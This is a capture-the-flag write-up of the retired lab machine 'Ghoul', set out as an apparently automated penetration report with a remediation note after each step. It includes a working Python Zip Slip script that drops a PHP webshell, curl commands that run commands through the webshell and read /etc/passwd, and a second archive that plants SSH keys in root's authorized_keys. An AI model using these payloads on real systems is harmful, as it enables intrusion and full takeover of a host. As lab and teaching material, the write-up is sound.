Ghoul
Summary
Recon (curl/nmap) identified three services: Apache 2.4.29 static site on :80, a Tomcat/Apache-Coyote instance on :8080 protected by HTTP Basic auth (realm "Aogiri"), and a second SSH service on :2222 belonging to a different host on the same Docker network. Weak/default credentials [REDACTED: recovered credential]:[REDACTED: recovered credential] unlocked the Tomcat app at :8080, which exposed a "Choose Zip to Upload in Server" form posting to /upload.
The upload handler extracts the submitted zip without sanitizing entry paths — a classic Zip Slip path-traversal vulnerability. A malicious zip was crafted (Python zipfile) containing a single entry named ../../../../../../../../../../var/www/html/sh.php holding a minimal PHP webshell (system($_REQUEST['cmd'])). Uploading it via the authenticated /upload endpoint wrote the file outside the intended extraction directory, dropping a webshell directly into the Apache docroot on :80 — giving unauthenticated RCE as www-data (uid 33) inside container 07d8ec0e562e.
Post-foothold enumeration via the webshell revealed /etc/passwd entries for kaneki, Eto, and noro, plus a hardcoded credentials array in /var/www/html/users/login.php (kaneki => 12345...). Rather than pursue credential reuse (SSH password spray against ports 22/2222 with these and other guessed passwords all failed), the same Zip Slip primitive was re-used for privilege escalation: a second malicious zip embedded an user-generated ed25519 public key with traversal entries targeting /root/.ssh/authorized_keys and /home/kaneki/.ssh/authorized_keys. Because the upload/extraction process runs as root inside the container, the write succeeded outside any user's home directory, granting direct key-based SSH login as both root and kaneki with no further privilege escalation step needed.
user.txt was read from /home/kaneki/user.txt and root.txt from the root shell, confirming full container compromise (uid=0). Subsequent extensive pivoting attempts toward the Docker-internal host <retired-instance-ip> (port 22, seen from inside the container) using stolen/derived keys (kaneki's passphrase-protected id_rsa, Eto/noro backup keys found under /var/backups/backups/keys/), steganography on kaneki's secret.jpg, and SSH user-enumeration exploits all failed to yield further access — root on the primary target was the terminal objective and was already achieved via the double Zip Slip chain.
Key vulnerability: unauthenticated path traversal in Tomcat zip-upload/extraction feature (Zip Slip), reachable after trivial [REDACTED: recovered credential]:[REDACTED: recovered credential] Basic-auth bypass, exploited twice — once for RCE foothold, once for direct root SSH-key implantation.
Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p 22,80,2222,8080 $TARGETcurl -s -i http://$TARGET:8080/curl -s -i http://$TARGET/Exact commands 2
curl -s -i -u [REDACTED: recovered credential]:[REDACTED: recovered credential] http://$TARGET:8080/curl -s -u [REDACTED: recovered credential]:[REDACTED: recovered credential] http://$TARGET:8080/ | grep -i 'form\|upload\|action'FixReplace default Tomcat application credentials with a strong, unique passphraseCritical
Exact commands 3
python3 - <<'PY'
import zipfile
payload = b'<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>\n'
arc = '../../../../../../../../../../var/www/html/sh.php'
with zipfile.ZipFile('/tmp/ghoul_shell.zip','w',zipfile.ZIP_DEFLATED) as z:
z.writestr(arc, payload)
print('created /tmp/ghoul_shell.zip with', arc)
PYcurl -s -i -u [REDACTED: recovered credential]:[REDACTED: recovered credential] -F 'file=@/tmp/ghoul_shell.zip;type=application/zip' http://$TARGET:8080/upload | head -n 40curl -s --get --data-urlencode 'cmd=id' http://$TARGET/sh.phpFixSanitise archive entry names before extraction to prevent Zip Slip path traversalCritical
Exact commands 4
curl -s --get --data-urlencode 'cmd=id && hostname && uname -a' http://$TARGET/sh.phpcurl -s --get --data-urlencode 'cmd=cat /etc/passwd' http://$TARGET/sh.phpcurl -s --get --data-urlencode 'cmd=cat /var/www/html/users/login.php' http://$TARGET/sh.phpcurl -s --get --data-urlencode 'cmd=ps aux | grep -E "java|tomcat|root"' http://$TARGET/sh.phpFixSanitise archive entry names before extraction to prevent Zip Slip path traversalCritical
Exact commands 3
ssh-keygen -t ed25519 -f /tmp/ghoul_ed -N '' -C ghoulpython3 - <<'PY'
import zipfile
with open('/tmp/ghoul_ed.pub','rb') as f:
pubkey = f.read()
entries = [
'../../../../../../../../../../root/.ssh/authorized_keys',
'../../../../../../../../../../home/kaneki/.ssh/authorized_keys'
]
with zipfile.ZipFile('/tmp/ghoul_keys.zip','w',zipfile.ZIP_DEFLATED) as z:
for e in entries:
z.writestr(e, pubkey)
print('created /tmp/ghoul_keys.zip')
PYcurl -s -u [REDACTED: recovered credential]:[REDACTED: recovered credential] -F 'file=@/tmp/ghoul_keys.zip;type=application/zip' http://$TARGET:8080/uploadFixRun the Tomcat container and its archive extraction process as a dedicated non-root userCritical
Exact commands 3
ssh -i /tmp/ghoul_ed -o IdentitiesOnly=yes -o StrictHostKeyChecking=no root@$TARGET 'id; hostname'ssh -i /tmp/ghoul_ed -o IdentitiesOnly=yes -o StrictHostKeyChecking=no root@$TARGET 'cat /root/root.txt'ssh -i /tmp/ghoul_ed -o IdentitiesOnly=yes -o StrictHostKeyChecking=no kaneki@$TARGET 'cat /home/kaneki/user.txt'Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Tomcat Manager WAR DeployWeb · Service RCET1190
What it is
Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, I uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.
Why it works
The Manager app is exposed with default or guessable credentials (tomcat:tomcat, [REDACTED: recovered credential]:[REDACTED: recovered credential]) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
| 2222/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | http Apache Tomcat/Coyote JSP engine 1.1 |